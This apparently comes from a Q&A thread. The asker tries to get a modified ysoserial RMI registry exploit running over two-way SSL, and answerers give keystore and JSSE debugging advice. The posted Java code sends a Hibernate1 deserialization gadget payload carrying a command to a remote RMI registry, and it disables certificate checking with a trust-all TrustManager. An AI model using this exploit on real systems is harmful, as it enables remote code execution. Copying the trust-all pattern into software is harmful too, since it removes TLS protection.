0

debug traceGetting JRMP connection error, while connecting to host. I have a valid server certificate for RMI connection in .keystore format, but I don't know how to use this certificate for two way SSL connection.

Any configuration is required in the Environment?

I have tried to import the .keystore file in cacerts truststore of Java in ../java/jdk8/jre/lib/security/, but getting java.lang.Exception: Input not an X.509 certificate

Exception : java.rmi.ConnectIOException: error during JRMP connection establishment; nested exception is: javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:307) at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202) at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:338) at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:60) at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77) at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:1) at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72) at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71) at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65) Caused by: javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate at sun.security.ssl.Alerts.getSSLException(Alerts.java:192) at sun.security.ssl.Alerts.getSSLException(Alerts.java:154) at sun.security.ssl.SSLSocketImpl.recvAlert(SSLSocketImpl.java:2020) at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:1127) at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1367) at sun.security.ssl.SSLSocketImpl.writeRecord(SSLSocketImpl.java:750) at sun.security.ssl.AppOutputStream.write(AppOutputStream.java:123) at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82) at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:140) at java.io.DataOutputStream.flush(DataOutputStream.java:123) at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:229) ... 8 more

Please find code::

public class RMIRegistryExploit {
                        private static class TrustAllSSL implements X509TrustManager {
                            private static final X509Certificate[] ANY_CA = {};
                            public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
                            public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
                            public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
                        }

                    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
                        public Socket createsocket(String host, int port) throws IOException {
                            try {
                                SSLContext ctx = SSLContext.getInstance("TLS");
                                ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
                                SSLSocketFactory factory = ctx.getSocketFactory();
                                return factory.createSocket(host, port);
                            } catch(Exception e) {
                                throw new IOException(e);
                            }
                        }
                    }

                    public static void main(final String[] args) throws Exception {

                        final String host = "10.164.47.231";
                        final int port = 1099;
                        final String command = "args";
                        Registry registry = LocateRegistry.getRegistry(host, port);
                        final String className = CommonsCollections1.class.getPackage().getName() +  "." + "Hibernate1";
                        final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

                        // test RMI registry connection and upgrade to SSL connection on fail
                        try {
                            registry.list();
                        } catch(ConnectIOException ex) {
                            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
                        }

                        // ensure payload doesn't detonate during construction or deserialization
                        exploit(registry, payloadClass, command);
                    }

                    public static void exploit(final Registry registry,
                            final Class<? extends ObjectPayload> payloadClass,
                            final String command) throws Exception {
                        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
                            ObjectPayload payloadObj = payloadClass.newInstance();
                            Object payload = payloadObj.getObject(command);
                            String name = "pwned" + System.nanoTime();
                            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                            try {
                                registry.bind(name, remote);
                            } catch (Throwable e) {
                                e.printStackTrace();
                            }
                            Utils.releasePayload(payloadObj, payload);
                            return null;
                        }});
                    }
                }
  • 1
    Check your certificate file really contains a certificate. On Linux try `file yourcertfile.txt`, it should return _PEM certificate_ , also try `openssl x509 -in yourcertfile.txt -text -noout` and this should print good certificate data. – Eugène Adell Oct 12 '19 at 10:13
  • i have already checked, my certificate file contains a certificate using this command (keytool -v -list -keystore .keystore) but my question is i have keystore file and i have this program sharing a link(https://github.com/frohoff/ysoserial) i want to know the configuration part of this keystore . and i have tried this also System.out.println(System.setProperty( "javax.net.ssl.keyStore", location)); System.out.println(System.setProperty("javax.net.ssl.keyStorePassword","12345")); and also the certificate is jks and file is in .keystore formal – john martin Oct 13 '19 at 17:52
  • 1
    Understood, you want to enable 2-way authentication but you're failing because you're just not sending the client certificate (adding it to the system truststore won't help for sure). The [ctx.init](https://docs.oracle.com/javase/7/docs/api/javax/net/ssl/SSLContext.html#init(javax.net.ssl.KeyManager[],%20javax.net.ssl.TrustManager[],%20java.security.SecureRandom)) method should be called with a KeyManager instead of a _null_. – Eugène Adell Oct 13 '19 at 22:18
  • can you please give that piece of code (key manager)... and certificates are now loaded in truststore of java (cacerts) – john martin Oct 14 '19 at 07:20
  • 1
    Have a look at [example 1 of the JSSE Reference Guide](https://docs.oracle.com/javase/8/docs/technotes/guides/security/jsse/JSSERefGuide.html). Your client certificate should be in a separate keystore rather than the cacerts file for obvious reasons. Note that you can use system properties if you don't want to hard-code the keystore location and password (see Customizing JSSE in that same document). – Eugène Adell Oct 14 '19 at 08:42
  • System.properties is not working as i have already tried this Stringlocation="C:\\Users\\ysoserialmaster\\resource\\cl.keystore"; String myTrustStore="C:\\Users\\Desktop\\ysoserial-master\\resource\\cacerts"; System.setProperty("javax.net.ssl.trustStore", myTrustStore)); System.setProperty("javax.net.ssl.trustStorePassword", "changeit") System.setProperty("javax.net.ssl.keyStore", location); System.setproperty("javax.net.ssl.keystorePassword","123456"); – john martin Oct 14 '19 at 09:44
  • i have also tried this example 1 still not working, getting the same error. – john martin Oct 14 '19 at 10:10
  • 1
    Add `-Djavax.net.debug=all` system property and come back with the whole trace. – Eugène Adell Oct 14 '19 at 10:28
  • please find the attached debug trace in starting of question. i have shared a hyperlink. (follow this link) https://drive.google.com/file/d/14ypXRlKE5XATouhaTPlq_vQto3AAFlYy/view?usp=sharing – john martin Oct 15 '19 at 03:18
  • No. It must be posted here, in your question, not as a link. – user207421 Oct 15 '19 at 03:19
  • Debugs traces are more than 50000 characters and limit is 30000 only – john martin Oct 15 '19 at 03:20
  • So cut it down to the parts involving the certificate. Nobody is going to follow a link, and anyway they are against the rules here. – user207421 Oct 15 '19 at 03:26
  • But you should already be able to see that your client didn't send a certificate, which would be because your certificate doesn't match the parameters specified in the `CertificateRequest`. – user207421 Oct 15 '19 at 03:37
  • i am sending my certificate through system.setproperty ... can you please explain which truststore and which keystore i have to enter through system.setproperty ... i am sending client keystore as keystore and client truststore as trustore.. please correct me if i am wrong ? – john martin Oct 15 '19 at 04:56
  • 1
    The log clearly shows that you're not sending any client certificate (`Warning: no suitable certificate found`). Check what keystore files you are really using, what they contain, and if the client certificate is signed by the good authority (the one given in the log aka 10.164.47.231, OU=AUTH). By the way your log doesn't show the keystore loading, we then don't know what files you are using. But for sure you need to check what you're doing. – Eugène Adell Oct 15 '19 at 05:56
  • yes i am loading a right client certificate ... as i have already checked by this command keytool -v -list -keystore .keystore .. but why it is not loading ? i am loading this by System.property() ... any other approach to load a certificatte ... and please have a look on last comment... is that correct ? – john martin Oct 15 '19 at 06:42
  • You *have* a certiicate, but you aren't *sending* a certificate. Have a look at the log from the `CertificateRequest` message and you will see that the `Certificate` message you send in reply has an empty chain, preceded by the message 'Warning: no *suitable* certificate found - continuing without client authentication'. For the reason I stated. – user207421 Oct 15 '19 at 06:55
  • i am sending a certificate through System.property() , then can you explain why it does not send.. what approach should i follow to send certificate ... – john martin Oct 15 '19 at 07:59
  • what you have written, it is not understandable ,can you please explain .. i know it has shown on logs certificate is not loading , how do i load certificate , can you please explain? – john martin Oct 16 '19 at 05:56
  • 1
    You can use -Djavax.net.ssl.keyStore and -Djavax.net.ssl.keyStorePassword as [documented here](https://docs.oracle.com/javase/7/docs/technotes/guides/security/jsse/JSSERefGuide.html#Customization). – Eugène Adell Oct 16 '19 at 06:00
  • Still it is not working.. software caused connection abort exception – john martin Oct 17 '19 at 10:04
  • java.rmi.ConnectIOException: error during JRMP connection establishment; nested exception is: java.net.SocketException: Software caused connection abort: recv failed someone please help. – john martin Oct 21 '19 at 07:32

0 Answers0